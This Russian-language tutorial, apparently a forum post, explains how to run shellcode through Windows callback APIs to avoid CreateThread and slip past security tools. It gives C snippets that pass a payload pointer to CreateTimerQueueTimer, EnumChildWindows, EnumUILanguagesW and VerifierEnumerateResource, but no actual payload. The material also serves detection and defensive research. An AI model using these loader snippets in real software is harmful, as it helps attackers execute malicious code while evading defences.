Введение
Функции обратного вызова используются для обработки событий или выполнения действия, когда выполняется определенное условие. Они применяются в различных сценариях в операционной системе Windows, включая обработку событий, управление окнами и многопоточность.
Определение функции обратного вызова от Microsoft следующее:
Функция обратного вызова - это код в управляемом приложении, который помогает функции неконтролируемой DLL завершить задачу. Вызовы функции обратного вызова передаются косвенно из управляемого приложения через функцию DLL и обратно к управляемой реализации.
Некоторые обычные API Windows имеют возможность выполнять полезные нагрузки с помощью обратных вызовов. Их использование предоставляет преимущества перед решениями безопасности, так как эти функции могут казаться безвредными и потенциально уклоняться от некоторых решений по безопасности.
Злоупотребление функциями обратного вызова
Обратные вызовы Windows можно выполнить с помощью указателя на функцию. Чтобы запустить полезную нагрузку, адрес полезной нагрузки должен быть передан вместо действительного указателя на функцию обратного вызова. Выполнение обратного вызова может заменить использование CreateThread WinAPI и других техник, связанных с выполнением потоков. Кроме того, нет необходимости правильно использовать функции, передавая соответствующие параметры. Возвращаемое значение или функциональность этих функций не имеют значения.
Одним важным моментом о функциях обратного вызова является то, что они работают только в адресном пространстве локального процесса и не могут быть использованы для выполнения техник внедрения удаленного кода.
Примеры функций обратного вызова
Следующие функции способны выполнять функции обратного вызова.
3-й параметр CreateTimerQueueTimer:
C:
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback, // здесь
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);
2-й параметр EnumChildWindows:
C:
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc, // здесь
[in] LPARAM lParam
);
1-й параметр EnumUILanguagesW:
C:
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // здесь
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);
4-й параметр VerifierEnumerateResource:
C:
ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, // здесь
PVOID EnumerationContext
);
Следующие разделы предоставят подробные объяснения для каждой из этих функций. Полезная нагрузка, используемая в примерах кода, хранится в разделе .text бинарного файла. Это позволяет shellcode иметь необходимые разрешения памяти RX, не прибегая к выделению исполняемой памяти с использованием VirtualAlloc или других функций выделения памяти.
Использование CreateTimerQueueTimer
CreateTimerQueueTimer создает новый таймер и добавляет его в указанную очередь таймеров. Таймер определяется с помощью функции обратного вызова, которая вызывается, когда таймер истекает. Функция обратного вызова выполняется потоком, который создал очередь таймеров.
Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.
C:
HANDLE hTimer = NULL;
if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer не удалось с ошибкой: %d \n", GetLastError());
return -1;
}
Использование EnumChildWindows
EnumChildWindows позволяет программе перечислять дочерние окна родительского окна. Он принимает дескриптор родительского окна в качестве входных данных и применяет определенную пользователем функцию обратного вызова к каждому из дочерних окон поочередно. Функция обратного вызова вызывается для каждого дочернего окна и получает дескриптор дочернего окна и значение, определенное пользователем, в качестве параметров.
Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.
C:
if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
printf("[!] EnumChildWindows не удалось с ошибкой: %d \n", GetLastError());
return -1;
}
Использование EnumUILanguagesW
EnumUILanguagesW перечисляет языки пользовательского интерфейса (UI), установленные в системе. Он принимает функцию обратного вызова в качестве параметра и применяет функцию обратного вызова к каждому языку UI поочередно. Обратите внимание, что любое значение вместо флага MUI_LANGUAGE_NAME все равно работает.
Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.
C:
if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
printf("[!] EnumUILanguagesW не удалось с ошибкой: %d \n", GetLastError());
return -1;
}
Использование VerifierEnumerateResource
VerifierEnumerateResource используется для перечисления ресурсов в указанном модуле. Ресурсы - это данные, которые хранятся в модуле (например, в исполняемом файле или библиотеке динамической компоновки) и к которым можно получить доступ модулем или другими модулями во время выполнения. Примеры ресурсов включают строки, битовые изображения и шаблоны диалоговых окон.
VerifierEnumerateResource экспортируется из verifier.dll, поэтому модуль должен быть динамически загружен с использованием LoadLibrary и GetProcAddress WinAPI для доступа к функции.
Обратите внимание, что если параметр ResourceType не равен AvrfResourceHeapAllocation, то полезная нагрузка не будет выполнена. AvrfResourceHeapAllocation позволяет функции перечислять выделение кучи, включая блоки метаданных кучи.
C:
HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;
hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
printf("[!] LoadLibraryA не удалось с ошибкой: %d \n", GetLastError());
return -1;
}
pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
printf("[!] GetProcAddress не удалось с ошибкой: %d \n", GetLastError());
return -1;
}
// Необходимо установить флаг AvrfResourceHeapAllocation для выполнения полезной нагрузки
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);
Заключение
В этой статье рассмотрено несколько функций обратного вызова и продемонстрировано их использование для выполнения полезной нагрузки. Функции обратного вызова полезны только тогда, когда полезная нагрузка работает в адресном пространстве памяти локального процесса.
Страницу документации Microsoft можно исследовать, чтобы обнаружить дополнительные функции обратного вызова.
Кроме того,
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, который содержит список наиболее распространенных функций обратного вызова.